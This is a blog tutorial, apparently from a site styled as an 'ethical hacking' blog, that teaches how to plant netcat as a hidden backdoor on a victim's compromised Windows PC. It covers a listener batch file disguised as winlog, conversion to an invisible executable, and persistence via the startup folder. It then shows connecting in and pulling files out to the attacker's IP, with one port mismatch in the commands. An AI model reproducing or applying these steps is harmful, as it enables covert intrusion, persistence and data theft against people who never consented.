DEVIL'S BLOG ON SECURITY


A DEVIL'S BLOG ON COMPUTER AND INFORMATION SECURITY, ETHICAL HACKING AND COUNTERMEASURES


Learn Ethical Hacking | Learn Hacking Online | Learn How To Hack|Hack Counter Hack| Ethical Hacking Tutorials


Home   ||   See All Tutorials  ||   Products  ||   About This Blog   ||  Subscribe To RSS Feed



Join facebook group THE HACKER DEVIL


Netcat Tutorial | Using Netcat As Backdoor

Netcat Tutorial | Using Netcat As Backdoor


In previous tutorial to netcat we saw how scan and grab banner using netcat. In this following tutorial we will use netcat as Trojan, Backdoor and file transfer wizard. So let's see some other features of netcat.

Now for using netcat as Trojan or backdoor you must have a compromised system that means for planting netcat as Trojan or backdoor you must have intruded system. I assume you managed to hack system using a RAT client. Now upload netcat to the compromised system. Copy netcat to C:\Windows\System32 folder in victim's PC.

Now type following commands in notepad and save as winlog.bat.

nc -L -p 23 -t

now here's what you told netcat to do,
L - start listening(even if the port is closed) an alternative is ' l '
p - on port number
t - carry out telnet sessions

that means you asked netcat to list on port number 23 to carry out telnet sessions. Upload this file to C:\Windows\System32 folder in victim's system. Create shortcut to winlog.bat after pasting it in C:\Windows\System32 folder and paste that shortcut in windows startup folder. Read How To Put Windows In Continues Restart Mode to know how to locate startup folder. Now there's a problem with above method, bat process will be visible as foreground process. To tackle this problem download batch 2 hidden exe maker. And make winlog.exe from winlog.bat don't forget to check radio button for invisible application. Upload winlog.exe instead of winlog.bat to C:\Windows\System32 folder, create shortcut and place shortcut in startup folder.
Now whenever your victim will start his computer netcat will start with it. Now this is how you can basically use Netcat as Trojan or Backdoor further use is left to your creativity.

Ok, lets connect to victim using netcat, we asked netcat in victim's system to listen on port 23 so we will connect it to that port,

C:\>nc victim_IP 23

this command will connect your PC to victim with telnet privileges of current user and if the logged in user is administrator you will get his/her privileges. Now if you want to transfer any file from victim's PC to your's. You have to type following commands on victim's PC after connecting it with netcat,

C:\>nc your_ip 1234 < file_name

Above command will open port 1234 for transferring file. ' < ' tells to redirect file_name to specified port. Now open new command prompt in your system and type following commands,

C:\>nc -l -p 80 > file_name

Above command tells netcat to listen on port number 1234 and redirect incoming data to file_name. Like this you can use netcat as file transfer wizard. If you want to transfer file from your system to victim use above commands vise-versa.

By the way there are several ways you can put netcat to use. Thanks for reading and keep visiting.

Free Ethical Hacking Training | Learn Ethical Hacking Online Free | Learn How To Hack | Hack Counter Hack | Ethical Hacking Tutorials | Devil's Blog On Security